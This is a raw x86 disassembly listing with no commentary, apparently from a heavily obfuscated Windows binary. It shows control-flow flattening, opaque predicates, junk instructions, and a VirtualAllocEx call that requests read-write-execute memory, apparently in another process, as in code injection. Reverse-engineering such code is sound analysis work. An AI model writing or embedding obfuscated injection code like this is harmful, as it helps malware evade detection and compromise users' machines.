cmp eax, 0xd022f60f
jne 0x401200
mov ecx, dword [0x48f784]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
xor ecx, 0x867e937f
mov edx, eax
not edx
and ecx, eax
or eax, 0x79816c80
and edx, 0x8054934e
mov esi, ecx
not esi
mov edi, eax
and edi, 0x17aa04b1
and ecx, 0xe855fb4e
or eax, esi
and esi, 0x17aa04b1
or edx, edi
or ecx, esi
not eax
xor ecx, edx
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xfb5e0c04
and ecx, 0x4a1f3fb
or eax, ecx
mov edx, eax
mov esi, eax
xor edx, 0xc000808
xor esi, 0x82df6084
xor eax, 0x1000821
mov ecx, esi
and ecx, 0xf1b9f7f7
and edx, 0xe460808
or esi, 0xc58a150
and eax, 0x3010821
or edx, ecx
and esi, 0x8cdaa554
mov ecx, edx
xor edx, 0xf1b9f7f7
xor ecx, 0xe460808
or eax, esi
mov edi, edx
or edi, 0x80820404
mov ebx, ecx
and ebx, 0x7024528a
and edx, 0xc4feb26e
and edi, 0x8cdaa554
or ebx, edi
mov edi, 0x8f99ce28
xor eax, ebx
mov esi, eax
not esi
and eax, 0x86776f7b
and esi, 0x79889084
or eax, esi
mov esi, ecx
and esi, 0x3b014d91
and ecx, 1
or esi, edx
xor eax, 0xfa0b9ca0
xor esi, 0xc4feb26f
or ecx, esi
mov esi, 0xc40c1c21
not ecx
or ecx, eax
mov eax, ecx
not eax
and ecx, 0xfe10303a
and eax, 0x1efcfc5
or ecx, eax
mov eax, ecx
xor eax, 0x8c102010
xor ecx, 0x1efcfc5
mov edx, ecx
and edx, 0x7368db2b
and eax, 0x8c9724d4
or eax, edx
xor eax, 0x7368db2b
xor ecx, eax
test ecx, eax
setne dl
sete al
cmp dword [0x48f780], 0xa
mov dh, dl
setl ah
setge ch
mov cl, ah
and dh, ch
xor dl, ch
and cl, al
and dl, al
xor al, ah
or cl, dh
and al, ah
xor cl, 1
or al, dl
or cl, ch
mov edx, ecx
xor dl, al
xor al, 1
or al, cl
mov dh, dl
xor dh, al
not dh
test dh, 1
cmovne edi, esi
test al, al
mov eax, 0x8f99ce28
cmovne eax, edi
test dl, dl
cmovne eax, edi
jmp 0x401200
cmp eax, 0x3258627a
jle 0x403a14
cmp eax, 0x33350b62
jle 0x4047d5
cmp eax, 0x338b695f
jg 0x40721c
cmp eax, 0x33350b63
je 0x408921
cmp eax, 0x33601521
jne 0x401200
mov eax, 0x4ffa50b5
jmp 0x401200
cmp eax, 0xb0af1ba5
jle 0x403bb5
cmp eax, 0xb22d59b2
jle 0x40480f
cmp eax, 0xb328759b
jg 0x4072ff
cmp eax, 0xb22d59b3
je 0x4089ec
cmp eax, 0xb23352ed
jne 0x401200
cmp byte [ebp - 0xac], 0
mov eax, 0x2785edea
mov ecx, 0xd72a50dd
cmovne eax, ecx
jmp 0x401200
cmp eax, 0x6fd00170
jle 0x403beb
cmp eax, 0x715af036
jle 0x40483a
cmp eax, 0x71ef96a6
jg 0x407409
cmp eax, 0x715af037
je 0x408acf
cmp eax, 0x71658981
jne 0x401200
cmp dword [ebp - 0x214], 0
mov eax, 0x715af037
mov ecx, 0xbd666eb0
cmove eax, ecx
jmp 0x401200
cmp eax, 0xf00bca26
jle 0x403cac
cmp eax, 0xf180bfd7
jle 0x404870
cmp eax, 0xf3f5fe1e
jg 0x407429
cmp eax, 0xf180bfd8
je 0x408bac
cmp eax, 0xf1939ccc
jne 0x401200
mov ecx, dword [0x48f784]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
mov ecx, eax
or ecx, 1
not edx
and eax, 0x13b0db35
mov esi, edx
and ecx, 0x4495010f
and esi, 0xbb6afef0
or esi, ecx
mov ecx, edx
or ecx, 0x4495010e
and edx, 0xec4f24ca
and ecx, 0x4495010f
or eax, edx
xor ecx, esi
mov edx, ecx
not edx
and ecx, 0xbb81634e
mov esi, edx
and esi, 0x447e9cb1
or ecx, esi
mov esi, eax
xor esi, 0x13804304
xor eax, 0x444e0480
and eax, 0x447e9cb1
and esi, 0xbb81634e
or esi, eax
xor esi, ecx
xor edx, esi
test edx, esi
mov esi, 0x2c1643ea
sete cl
setne dl
cmp dword [0x48f780], 0xa
setge al
xor dl, al
mov ah, dl
xor dl, 1
and ah, cl
or cl, al
and al, dl
xor cl, 1
xor al, 1
or cl, ah
mov ah, al
or al, dl
xor ah, dl
xor al, 1
mov ch, cl
or al, ah
mov ah, cl
xor ah, 1
mov edx, eax
and ch, ah
xor dl, 1
xor ch, 1
and dl, al
or ch, ah
xor dl, 1
or ah, al
xor ch, 1
or ch, cl
mov cl, dl
or dl, al
xor cl, al
xor dl, 1
mov al, ah
or dl, cl
mov cl, ch
xor cl, 1
and cl, dl
xor dl, 1
and dl, ch
or dl, cl
mov ecx, 0xb212ac40
xor al, dl
test ah, 1
cmovne ecx, esi
test dl, 1
cmove ecx, esi
test al, 1
mov eax, 0xb212ac40
jmp 0x411184
cmp eax, 0x2787d631
jle 0x403cf1
cmp eax, 0x2860faa9
jle 0x4048a1
cmp eax, 0x28ff7aea
jg 0x407449
cmp eax, 0x2860faaa
je 0x408bfa
cmp eax, 0x28a4d3a8
jne 0x401200
mov eax, dword [0x48f784]
lea esi, [eax + 1]
imul esi, eax
mov eax, esi
not eax
and esi, 0xbbc0d457
and eax, 0x443f2ba8
or esi, eax
mov eax, esi
xor eax, 0xbbc0d457
xor esi, 0x443f2ba8
mov ecx, esi
mov edx, eax
and ecx, 0xd5fd3500
and edx, 0x2a02caff
or esi, 0x7041190
and eax, 0xc0922003
or edx, ecx
and esi, 0x2f059fd0
mov ecx, edx
xor edx, 0xd5fd3500
xor ecx, 0x2a02caff
or eax, esi
mov edi, edx
or edi, 0x28018e40
mov ebx, ecx
and ebx, 0x1068402c
and edx, 0xc6b00d6d
and edi, 0x2f059fd0
or ebx, edi
xor eax, ebx
mov esi, eax
not esi
and eax, 0x74288bed
and esi, 0x8bd77412
or eax, esi
mov esi, ecx
and esi, 0x394ff292
and ecx, 1
or esi, edx
mov edi, eax
xor edi, 0x43041810
xor eax, 0x9cbb25af
mov edx, esi
xor edx, 0xc6b00d6c
xor esi, 0x110f1012
and edi, 0xd39f1d36
or ecx, edx
mov edx, eax
and edx, 0x2c60e2c9
and esi, 0xd39f1d36
or eax, ecx
and ecx, 0x2c60e2c9
or edi, edx
or esi, ecx
not eax
xor esi, edi
or eax, esi
mov ecx, eax
not ecx
mov esi, eax
and esi, 0x784742b6
and eax, 0xbc2b012
mov edx, ecx
and edx, 0x87b8bd49
or ecx, 0xa01804c0
or esi, edx
and ecx, 0xe4194ccd
mov edx, esi
xor esi, 0x80180440
xor edx, 0x10040220
or eax, ecx
or esi, 0x4401480d
and edx, 0x10240320
and esi, 0xe4194ccd
or edx, esi
mov esi, 0xfc82720a
xor eax, edx
mov ecx, eax
not ecx
and eax, 0x94ad1b1
and ecx, 0xf6b52e4e
or eax, ecx
cmp eax, 0xb976d651
setne al
cmp dword [0x48f780], 0xa
setge cl
mov edx, ecx
or dl, al
xor al, cl
xor al, 1
mov ecx, eax
or al, dl
xor cl, dl
mov ch, al
xor ch, cl
test al, al
mov eax, 0x36544eb7
cmovne eax, esi
test cl, cl
cmove eax, esi
test ch, ch
mov ecx, 0x36544eb7
cmove eax, ecx
jmp 0x401200
cmp eax, 0x9bfd93ad
jle 0x403d27
cmp eax, 0x9edec553
jle 0x4048cc
cmp eax, 0x9ee91b3f
jg 0x40746f
cmp eax, 0x9edec554
je 0x408c04
cmp eax, 0x9ee6a82c
jne 0x401200
mov eax, dword [ebp - 0x160]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x9c]
mov ecx, dword [ebp - 0x9c]
mov ecx, dword [ebp - 0x9c]
mov ecx, dword [ebp - 0x9c]
mov ecx, dword [ebp - 0x9c]
add eax, dword [ebp - 0x9c]
mov ecx, dword [ebp - 0xcc]
mov dword [ecx], eax
mov eax, dword [ebp - 0xe4]
mov eax, dword [ebp - 0x44]
mov eax, 0xc86ae677
jmp 0x401200
cmp eax, 0x5d03bfc2
jle 0x403d66
cmp eax, 0x5f26b065
jle 0x4048f7
cmp eax, 0x606c5a61
jg 0x40749a
cmp eax, 0x5f26b066
je 0x408c23
cmp eax, 0x5fad81a0
jne 0x401200
mov eax, dword [ebp - 0x44]
mov ecx, dword [ebp - 0x1bc]
mov dword [eax], ecx
mov eax, dword [ebp - 0x64]
mov eax, dword [ebp - 0x64]
mov dword [eax], 0
mov eax, 0x5268fccc
jmp 0x401200
cmp eax, 0xe04d5135
jle 0x403db3
cmp eax, 0xe0e2a2e5
jle 0x404a05
cmp eax, 0xe38a3d2b
jg 0x4075f0
cmp eax, 0xe0e2a2e6
je 0x408d5d
cmp eax, 0xe111a657
jne 0x401200
mov ah, byte [ebp - 0xa1]
mov ch, byte [ebp - 0xa2]
mov esi, 0x8996f6dd
mov cl, ch
mov al, ch
mov dl, ah
xor cl, 1
and al, cl
mov dh, cl
xor dl, cl
xor al, 1
xor dl, 1
xor dh, al
or al, cl
xor al, 1
or al, dh
xor al, ah
or ah, ch
xor ah, 1
mov ecx, eax
or dl, ah
xor cl, 1
mov ah, dl
mov ch, dl
xor ah, 1
and ah, dl
xor ah, 1
xor ch, ah
or ah, dl
mov edx, ecx
and dl, al
xor ah, 1
xor dl, 1
or ah, ch
or dl, al
xor ah, 1
xor dl, 1
or dl, cl
xor dl, ah
or ah, cl
mov ecx, 0xdf6a5733
mov al, ah
xor al, dl
test al, 1
cmovne ecx, esi
test ah, 1
mov eax, 0xdf6a5733
jmp 0x4011f2
cmp eax, 0x40cedc0f
jle 0x403de9
cmp eax, 0x41e2021c
jle 0x404a30
cmp eax, 0x4284f7d8
jg 0x407622
cmp eax, 0x41e2021d
je 0x408d67
cmp eax, 0x4273dbf0
jne 0x401200
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax]
mov dword [ebp - 0x1b4], eax
mov eax, dword [ebp - 0x80]
mov eax, dword [eax]
mov dword [ebp - 0x1b8], eax
mov eax, 0x4b09c7ec
jmp 0x401200
cmp eax, 0xbf7f05dc
jle 0x403e1f
cmp eax, 0xc035a33e
jle 0x404a67
cmp eax, 0xc0f5c291
jg 0x40764e
cmp eax, 0xc035a33f
je 0x408ded
cmp eax, 0xc074e9b7
jne 0x401200
mov eax, 0xcdcb8fb7
jmp 0x401200
cmp eax, 0x7cc62b36
jle 0x404a9c
cmp eax, 0x7eb32786
jg 0x40778a
cmp eax, 0x7cc62b37
je 0x408e00
cmp eax, 0x7e0dc4b6
jne 0x401200
mov eax, dword [ebp - 0x94]
mov eax, 0xfd02ffc5
jmp 0x401200
cmp eax, 0xfdda1b22
jle 0x404be1
cmp eax, 0xffc733bb
jg 0x4077aa
cmp eax, 0xfdda1b23
je 0x408f46
cmp eax, 0xfed0cd42
jne 0x401200
mov eax, dword [ebp - 0x24]
mov eax, dword [eax]
mov dword [ebp - 0x20c], eax
mov eax, 0x7b8605d3
jmp 0x401200
cmp eax, 0x9a81e64
jg 0x404c0c
cmp eax, 0x60063fb
je 0x4090f9
cmp eax, 0x6491f47
je 0x4091dd
cmp eax, 0x989f177
jne 0x401200
mov eax, 0x8b10c7c8
jmp 0x401200
cmp eax, 0x82d23ad6
jg 0x404c3a
cmp eax, 0x80c6bebb
je 0x409327
cmp eax, 0x813eaecf
je 0x40933a
cmp eax, 0x828d43d2
jne 0x401200
mov eax, 0x8f1f0ce9
jmp 0x401200
cmp eax, 0x43ece333
jg 0x404c68
cmp eax, 0x434bb065
je 0x409520
cmp eax, 0x43550f2c
je 0x409627
cmp eax, 0x43a318b9
jne 0x401200
mov eax, dword [ebp - 0x4c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xd8]
vmovsd xmm0, qword [eax]
vmovsd qword [ecx], xmm0
mov eax, dword [ebp - 0x74]
mov dword [ebp - 0x198], eax
mov eax, dword [ebp - 0x4c]
mov ecx, dword [0x48f784]
mov eax, dword [eax]
mov dword [ebp - 0x19c], eax
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
andn ecx, eax, eax
not eax
and edx, 0x60497803
and eax, 0x9fb687fc
or edx, eax
xor edx, 0x60497803
or ecx, edx
mov esi, ecx
not esi
and ecx, 0x2fc7df75
mov eax, esi
and eax, 0xd038208a
or esi, 0x6e19f20
or ecx, eax
mov edx, esi
not edx
and esi, 0xf91e60de
mov eax, ecx
xor eax, 0x2fc7df75
xor ecx, 0x80200080
mov edi, eax
and edi, 0x6e19f20
and ecx, 0xa4e0ce84
or edx, edi
mov edi, 0xf4bbdada
and edx, 0x6e19f21
or edx, esi
mov esi, eax
and esi, 0x5b1f317b
and eax, 1
or esi, ecx
xor esi, 0xa4e0ce85
or eax, esi
not eax
or eax, edx
mov ecx, eax
xor ecx, 0x76b48254
mov edx, eax
not edx
and ecx, eax
or eax, 0x894b7dab
and edx, 0x70948244
mov esi, eax
and esi, 0xf6b78b3
or edx, esi
mov esi, ecx
not esi
and ecx, 0xf094874c
or eax, esi
and esi, 0xf6b78b3
or ecx, esi
not eax
mov esi, 0x53a8a519
xor ecx, edx
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x555273ec
and ecx, 0xaaad8c13
or eax, ecx
cmp eax, 0x23e6f1b8
sete ah
cmp dword [0x48f780], 0xa
setl cl
setge al
mov ch, cl
or cl, ah
xor al, ah
xor ch, ah
xor cl, 1
mov edx, eax
or cl, ch
not dl
mov ah, cl
not ah
and ah, al
or al, cl
and cl, dl
or cl, ah
mov edx, eax
xor dl, cl
mov edx, 0xf4bbdada
cmovne edx, esi
test cl, cl
mov ecx, edx
cmovne ecx, edi
test al, al
cmovne ecx, edx
mov eax, ecx
jmp 0x401200
cmp eax, 0xc5ba9348
jg 0x404c9c
cmp eax, 0xc3ab7995
je 0x40964f
cmp eax, 0xc3c3cf28
je 0x4097bc
cmp eax, 0xc40c1c21
jne 0x401200
mov eax, 0x8f99ce28
jmp 0x401200
cmp eax, 0x2aac22e6
jg 0x404d91
cmp eax, 0x29c81663
je 0x409983
cmp eax, 0x29e2cfe2
je 0x409999
cmp eax, 0x2a2ef10b
jne 0x401200
push 4
push 0x3000
push dword [ebp - 0x128]
push dword [ebp - 0x1a0]
vzeroupper
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, dword [ebp - 0x1c]
mov dword [ecx], eax
mov eax, dword [ebp - 0x3c]
cmp dword [eax + 4], 0
mov eax, dword [0x48f784]
lea ecx, [eax + 1]
sete byte [ebp - 0xa5]
imul ecx, eax
mov edx, ecx
xor edx, 0xfffffffe
mov eax, ecx
and eax, 0x5ad62d1c
and edx, ecx
not ecx
mov esi, ecx
and esi, 0xa529d2e2
mov ebx, edx
not ebx
and edx, 0x96eef7d1
or eax, esi
mov esi, eax
xor esi, 0x12c62510
xor eax, 0xa529d2e3
mov edi, eax
or eax, ebx
and ebx, 0x6911082e
and edi, 0x6911082e
and esi, 0x96eef7d0
or esi, edi
or edx, ebx
not eax
xor edx, esi
or eax, edx
mov edx, eax
not edx
and eax, 0xddfc2f48
and edx, 0x2203d0b7
or eax, edx
xor eax, 0xddfc2f48
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x4823f491
and ecx, 0xb7dc0b6e
or eax, ecx
xor eax, 0x4823f491
sete cl
setne dl
cmp dword [0x48f780], 0xa
setl ah
setge al
and cl, al
and ah, dl
or al, dl
or ah, cl
mov dl, ah
xor dl, 1
mov ecx, edx
and cl, ah
xor cl, 1
or cl, ah
xor cl, 1
or cl, dl
or dl, al
xor cl, al
mov ch, dl
mov eax, 0x7ba8ca6c
xor ch, cl
test dl, dl
mov edx, 0x8b1e4c31
cmovne eax, edx
test cl, 1
cmove eax, edx
test ch, 1
mov edx, 0x7ba8ca6c
cmove eax, edx
jmp 0x401200
cmp eax, 0xa3088830
jg 0x404dbc
cmp eax, 0xa074d0f6
je 0x409aac
cmp eax, 0xa2c32e91
je 0x409ab6
cmp eax, 0xa2c9e0d4
jne 0x401200
mov eax, dword [ebp - 0x190]
mov eax, dword [eax]
mov dword [ebp - 0xb8], eax
mov eax, dword [ebp - 0x1c]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax]
mov edx, dword [ebp - 0x54]
mov edx, dword [edx]
lea edx, [edx + edx*4]
add ecx, dword [eax + edx*8 + 0xc]
mov dword [ebp - 0xfc], ecx
mov eax, dword [ebp - 0xec]
mov dword [ebp - 0xf8], eax
mov eax, dword [ebp - 0x18c]
mov dword [ebp - 0x1a4], eax
add edx, 0x29
imul edi
ror eax, 0xbd
ror eax, 0xcf
not eax
not ebx
sub ebx, 0xf5
imul edi
sub edi, 0x50
sub edx, 0x73
or edx, 0xf0
imul esi
not edx
neg edi
dec eax
not ebx
add edi, 0x5c
ror eax, 0x4d
mov eax, 0xa8
sub edi, 0xcc
ror edi, 0x57
add eax, 0xb0
dec eax
ror esi, 0x64
add edx, 0xb1
inc edx
inc edx
ror ebx, 0x78
mov edx, 0x56
or ebx, 0x40
mov eax, 0x57
not edi
dec esi
mov eax, 0x30
imul ebx
and ebx, 0xb3
rcl edx, 0x9b
inc ebx
inc eax
mov ebx, 0xd8
inc ebx
mov edx, 0xbd
bswap edx
sub edx, 0x54
rol edx, 0x46
ror edx, 0xd8
neg esi
not esi
dec edx
and edi, 0xac
bswap edx
or edi, 0xcd
sbb ebx, 0xb9
sbb ebx, 0x58
not ebx
imul edi
inc edx
not esi
add esi, 0xdd
mov eax, 0x13
not esi
sub ebx, 0x8e
and ebx, 0xfd
add esi, 0xb7
rcr esi, 0xee
add esi, 0x73
and ebx, 0xd1
not esi
dec edi
rcr esi, 0x68
sbb esi, 0xbe
and ebx, 0x8c
sub esi, 0x37
bswap edx
not ebx
dec esi
sbb esi, 0x4f
bswap ebx
sbb ebx, 0xf8
not esi
rcr eax, 0xa8
not ebx
imul esi
and eax, 0x88
neg edx
neg ebx
inc eax
rcl eax, 0xae
dec esi
not esi
not edi
inc edx
bswap edi
ror eax, 0x2d
sbb ebx, 0x5e
sub esi, 0x9f
or edx, 0xa8
not edi
bswap edi
rcr edx, 0x6b
sub esi, 0xbe
bswap esi
sub eax, 0xbc
rol ebx, 0xf1
ror esi, 0xde
imul edx
sbb esi, 0x25
ror edi, 0x32
mov edi, 0x5e
not edi
sub esi, 0xf4
and edi, 0xea
not esi
dec ebx
or esi, 0x7f
sbb eax, 0x12
bswap eax
rcl edx, 0xb9
and esi, 0xda
neg edx
inc edx
mov eax, 0xdb
dec ebx
bswap edi
imul eax
sub ebx, 0xf3
not eax
neg eax
add esi, 4
imul ebx
dec edx
imul eax
not eax
rcr edi, 0xb1
rcl edx, 0x63
imul ebx
ror edx, 0x27
or esi, 0xf8
and eax, 0xcc
inc ebx
ror esi, 0x7f
sub edi, 0xc4
bswap edx
add edx, 0xb4
rol eax, 0xe5
neg edi
neg esi
dec esi
rcl edi, 0x30
not edi
mov edx, dword [0x48f78c]
lea eax, [edx + 1]
imul eax, edx
mov esi, eax
mov edx, eax
not esi
or edx, 1
mov ebx, esi
mov edi, edx
and edi, 0x43999844
and ebx, 0xbc6667ba
and esi, 0xca6d6f2f
or ebx, edi
mov edi, eax
xor edi, 0xfffffffe
and edi, eax
and eax, 0x359290d0
mov ecx, edi
not ecx
and edi, 0xbc6667bb
or eax, esi
mov esi, 0x75b5ea8
or edx, ecx
and ecx, 0x43999844
xor eax, 0x359290d0
or edi, ecx
not edx
xor edi, ebx
or edx, edi
not edx
or eax, edx
cmp eax, 0xffffffff
sete cl
cmp dword [0x48f788], 0xa
setge al
xor al, cl
and cl, al
mov edx, ecx
xor dl, 1
or dl, al
xor al, 1
or al, cl
mov ecx, edx
xor al, 1
xor cl, al
or al, dl
mov edx, 0x80fe87b4
not al
or al, cl
mov ecx, 0x4b59fc3e
test al, 1
mov eax, 0x80fe87b4
cmovne edx, esi
cmovne eax, ecx
mov esi, 0x58c900f
nop word cs:[eax + eax]
cmp esi, 0x58c900e
jg 0x403460
cmp esi, 0x80fe87b4
je 0x40347f
cmp esi, 0xa2d2dd14
je 0x409ac3
cmp esi, 0xa397441e
jne 0x403430
mov esi, edx
jmp 0x403430
cmp esi, 0x58c900f
je 0x403486
cmp esi, 0x75b5ea8
je 0x40348d
cmp esi, 0x4b59fc3e
jne 0x403430
mov esi, 0xa2d2dd14
jmp 0x403430
mov esi, 0x75b5ea8
jmp 0x403430
mov esi, 0xa397441e
jmp 0x403430
mov esi, eax
jmp 0x403430
cmp eax, 0x65385249
jg 0x404f6a
cmp eax, 0x63055d6c
je 0x409bd9
cmp eax, 0x6316b490
je 0x409be3
cmp eax, 0x64611af5
jne 0x401200
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x5c]
mov eax, dword [ebp - 0x34]
mov eax, 0xde0b2bad
jmp 0x401200
cmp eax, 0xe67fcf10
jg 0x404f95
cmp eax, 0xe3e290c6
je 0x409cb5
cmp eax, 0xe419eb23
je 0x409cce
cmp eax, 0xe6676f94
jne 0x401200
cmp byte [ebp - 0xad], 0
mov eax, 0x42d02d90
mov ecx, 0xa80c91f3
cmovne eax, ecx
jmp 0x401200
cmp eax, 0x2103e022
jg 0x4050f6
cmp eax, 0x1ced8272
je 0x409ce6
cmp eax, 0x1f1323e1
je 0x409cf0
cmp eax, 0x206891a2
jne 0x401200
mov eax, 0xb0af1ba6
jmp 0x401200
cmp eax, 0x8feba7de
jg 0x4051ab
cmp eax, 0x8f949505
je 0x409de4
cmp eax, 0x8f99ce28
je 0x409fac
cmp eax, 0x8fc7001b
jne 0x401200
mov eax, dword [ebp - 0x34]
mov eax, 0x5ddd1b27
jmp 0x401200
cmp eax, 0x5268fccb
jg 0x4052fe
cmp eax, 0x51478733
je 0x40a0a7
cmp eax, 0x51e26690
je 0x40a16f
cmp eax, 0x5250ee2d
jne 0x401200
mov eax, dword [0x48f784]
mov edi, 0x2787d632
lea esi, [eax + 1]
imul esi, eax
mov ecx, esi
not ecx
mov eax, esi
or eax, 1
and esi, 0x22b09455
mov edx, ecx
and edx, 0xdd4f6baa
and ecx, 0xaf9f25d0
or edx, esi
mov esi, eax
and esi, 0x5060da2e
or ecx, esi
mov esi, edx
xor esi, 0x8d0f2181
xor edx, 0x22b09454
or eax, edx
and edx, 0x5060da2e
and esi, 0xaf9f25d1
or esi, edx
not eax
xor esi, ecx
or eax, esi
mov ecx, eax
not ecx
mov esi, eax
and esi, 0xcbb3c78b
and eax, 0x74000024
mov edx, ecx
and edx, 0x344c3874
or ecx, 0x881f340
or esi, edx
and ecx, 0x89abf759
mov edx, esi
xor esi, 0x3040
xor edx, 0x2100082
or eax, ecx
or esi, 0x812a0419
and edx, 0x2540882
and esi, 0x89abf759
or edx, esi
mov esi, 0x9ce4fe3f
xor eax, edx
mov ecx, eax
not ecx
and eax, 0xad5fbc2
and ecx, 0xf52a043d
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x4900b071
and ecx, 0xb6ff4f8e
or eax, ecx
mov ecx, eax
xor ecx, 0x40009021
xor eax, 0xa0f3420a
and eax, 0xa9f3625a
and ecx, 0x560c9da5
or ecx, eax
mov eax, ecx
xor eax, 0xa8624248
xor ecx, 0x60085a1
and ecx, 0x791a5b3
and eax, 0xf86e5a4c
or eax, ecx
xor eax, 0xf86e5a4c
sete cl
setne al
cmp dword [0x48f780], 0xa
setge dl
or al, dl
xor cl, dl
mov ah, al
mov edx, ecx
not dl
not ah
and dl, al
or al, cl
and cl, ah
or cl, dl
mov edx, eax
xor dl, cl
mov edx, 0x2787d632
cmovne edx, esi
test cl, cl
mov ecx, edx
cmovne ecx, edi
jmp 0x407402
cmp eax, 0xd2fe52c5
jg 0x405329
cmp eax, 0xd06283ff
je 0x40a258
cmp eax, 0xd1b623a3
je 0x40a268
cmp eax, 0xd2a0a6cd
jne 0x401200
mov eax, dword [ebp - 0x124]
mov ecx, dword [ebp - 0x3c]
vmovsd xmm0, qword [eax + 0x88]
vmovsd qword [ecx], xmm0
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x3c]
mov eax, 0x9a9b58a5
jmp 0x401200
cmp eax, 0x3710b4a0
jg 0x40542a
cmp eax, 0x34b87ce0
je 0x40a27b
cmp eax, 0x3580986d
je 0x40a471
cmp eax, 0x36544eb7
jne 0x401200
mov eax, 0x69de9d0c
jmp 0x401200
cmp eax, 0xb526cdcd
jg 0x40545b
cmp eax, 0xb41e6a87
je 0x40a58f
cmp eax, 0xb518f60e
je 0x40a599
cmp eax, 0xb51ffd3e
jne 0x401200
mov eax, dword [ebp - 0x19c]
mov ecx, dword [ebp - 0x198]
mov dword [eax + 4], ecx
push dword [ebp - 0x74]
vzeroupper
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov ecx, dword [ebp - 0x4c]
add eax, eax
mov ecx, dword [ecx]
mov word [ecx], ax
mov eax, dword [0x48f784]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0x414078
mov edx, eax
and edx, 0x480c8284
mov esi, eax
or esi, 0x484dc2fc
or ecx, edx
mov edx, esi
not edx
and esi, 0xb7b23d02
xor ecx, 0x414078
or edx, ecx
and edx, 0x484dc2fd
or edx, esi
not edx
or edx, eax
xor edx, 0xffffffff
setne dl
sete ah
cmp dword [0x48f780], 0xa
mov dh, dl
setge cl
setl ch
mov al, cl
or dh, ch
and cl, ah
xor al, dl
mov bl, dh
and dl, ch
and al, ch
or ch, ah
or cl, dl
xor al, 1
xor ch, 1
xor bl, al
or al, dh
or cl, ch
xor al, 1
mov edx, ecx
or al, bl
xor dl, 1
mov ah, al
and al, cl
xor ah, 1
and dl, ah
or ah, cl
or al, dl
mov cl, ah
mov edx, 0xa4e60f6b
xor cl, al
test cl, 1
mov ecx, 0x8975ccfd
cmovne ecx, edx
test ah, 1
mov edx, 0x8975ccfd
cmovne edx, ecx
test al, 1
jmp 0x40fcd7
cmp eax, 0x7358849b
jg 0x40552c
cmp eax, 0x7272aa94
je 0x40a67e
cmp eax, 0x72f06563
je 0x40a74a
cmp eax, 0x733d2526
jne 0x401200
mov eax, 0x40cedc10
jmp 0x401200
cmp eax, 0xf6305c8d
jg 0x40566f
cmp eax, 0xf4ab6a34
je 0x40a754
cmp eax, 0xf4bbdada
je 0x40a83a
cmp eax, 0xf4d98048
jne 0x401200
mov eax, 0x994085b0
jmp 0x401200
cmp eax, 0xff1e53d
jg 0x4056b2
cmp eax, 0xf61dc1c
je 0x40a844
cmp eax, 0xfc54af0
je 0x40a93a
cmp eax, 0xfebd349
jne 0x401200
cmp byte [ebp - 0xa6], 0
mov eax, 0x4273dbf0
mov ecx, 0xccbb1314
cmovne eax, ecx
jmp 0x401200
cmp eax, 0x8975ccfc
jg 0x4058ae
cmp eax, 0x87393da8
je 0x40a950
cmp eax, 0x877eb62a
je 0x40a95a
cmp eax, 0x893da4d8
jne 0x401200
mov eax, dword [ebp - 0xc0]
vxorps xmm0, xmm0, xmm0
vmovups xmmword [eax], xmm0
mov eax, 0xf61dc1c
jmp 0x401200
cmp eax, 0x4b09c7eb
jg 0x405a1d
cmp eax, 0x47034398
je 0x40a964
cmp eax, 0x4735772e
je 0x40aa7b
cmp eax, 0x4a6d1ad1
jne 0x401200
mov eax, 0x4273dbf0
jmp 0x401200
cmp eax, 0xcc776579
jg 0x405a48
cmp eax, 0xcaa011b9
je 0x40aa94
cmp eax, 0xcbb4b09a
je 0x40aa9e
cmp eax, 0xcc18ef66
jne 0x401200
push 0x40
push 0x3000
push dword [ebp - 0x130]
push 0
push dword [ebp - 0x134]
vzeroupper
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ecx, dword [ebp - 0xe0]
mov dword [ecx], eax
mov eax, dword [ebp - 0xe0]
mov eax, 0x5f26b066
jmp 0x401200
cmp eax, 0x31614071
jg 0x405b73
cmp eax, 0x303d1326
je 0x40abba
cmp eax, 0x3098af10
je 0x40abe3
cmp eax, 0x30d15c09
jne 0x401200
mov eax, dword [ebp - 0x24]
mov eax, dword [eax]
mov ecx, eax
not ecx
mov edx, eax
and edx, 0xa0b10c05
mov esi, ecx
and esi, 0x1808b022
mov edi, ecx
or edi, 0x38088005
and ecx, 0x256ca605
or edx, esi
and edi, 0x7a4883dd
mov esi, edx
xor esi, 0x80b10c00
xor edx, 0x5a4883d8
and edx, 0x7a4883dd
and esi, 0x80b13c22
or esi, edx
mov edx, eax
and edx, 0x5064000
and eax, 0xda9359fa
or edx, edi
or eax, ecx
xor edx, esi
mov ecx, eax
xor ecx, 0xda9359fa
xor eax, 0x256ca605
mov esi, edx
not esi
and edx, 0x6be976fe
and esi, 0x94168901
or edx, esi
mov esi, edx
xor esi, 0x9350cad9
xor edx, 0x6caf3526
and ecx, edx
and eax, esi
or eax, ecx
mov ecx, dword [0x48f784]
not eax
or eax, edx
cmp eax, 0xffffffff
setne byte [ebp - 0xb0]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov esi, eax
and esi, 0x94d9d2b6
mov ecx, edx
and ecx, 0x6b262d48
and edx, 0x1ce96dcb
or esi, ecx
mov ecx, eax
xor ecx, 0xfffffffe
and ecx, eax
and eax, 0xe3169234
xor esi, 0x94d9d2b6
or eax, edx
or ecx, esi
mov esi, 0x43ece334
mov edx, eax
xor edx, 0xe3169234
xor eax, 0x1ce96dcb
andn edx, ecx, edx
and eax, ecx
not ecx
or eax, edx
not eax
or eax, ecx
xor eax, 0xffffffff
setne al
sete ah
cmp dword [0x48f780], 0xa
mov ecx, eax
setl ch
setge dl
and cl, dl
and ch, ah
xor al, dl
or ch, cl
and al, ah
mov cl, ch
xor al, 1
xor cl, dl
or dl, ah
mov ah, al
or al, dl
